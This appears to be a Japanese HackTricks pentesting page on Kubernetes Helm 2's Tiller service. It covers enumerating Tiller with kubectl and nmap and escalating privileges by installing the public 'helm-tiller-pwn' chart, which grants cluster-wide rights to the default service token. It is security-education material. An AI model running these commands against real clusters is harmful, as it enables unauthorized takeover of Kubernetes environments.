hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

70 lines
4.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
# 基本情報
HelmはKubernetesの**パッケージマネージャ**です。YAMLファイルをパッケージ化して公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。**Tiller**はデフォルトでポート44134で実行されている**サービス**です。
**デフォルトポート:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# 列挙
異なる名前空間の**ポッドおよび/またはサービスを列挙**できる場合は、それらを列挙して、名前に**"tiller"**が含まれるものを検索します:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
例:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
You could also try to find this service running checking the port 44134:
### ポート44134をチェックして、このサービスが実行されているかもしれません。
```bash
sudo nmap -sS -p 44134 <IP>
```
一度それを発見したら、クライアントhelmアプリケーションをダウンロードして通信できます。 `homebrew`などのツールを使用するか、[**公式リリースページ**](https://github.com/helm/helm/releases)**を参照してください**。詳細や他のオプションについては、[インストールガイド](https://v2.helm.sh/docs/using\_helm/#installing-helm)を参照してください。
その後、**サービスを列挙**できます:
```
helm --host tiller-deploy.kube-system:44134 version
```
## 特権昇格
デフォルトでは、**Helm2** は **kube-system** ネームスペースに **高い権限** でインストールされていました。そのため、サービスを見つけてアクセス権を持っている場合、これにより **権限を昇格** することができます。
必要なのは、次のようなパッケージをインストールするだけです: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) これにより、**デフォルトのサービストークンがクラスタ全体のすべてにアクセスできる** ようになります。
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)には**攻撃の説明**がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内の[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)と[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)ファイルを読むと、**すべての権限がデフォルトトークンに与えられている**のがわかります。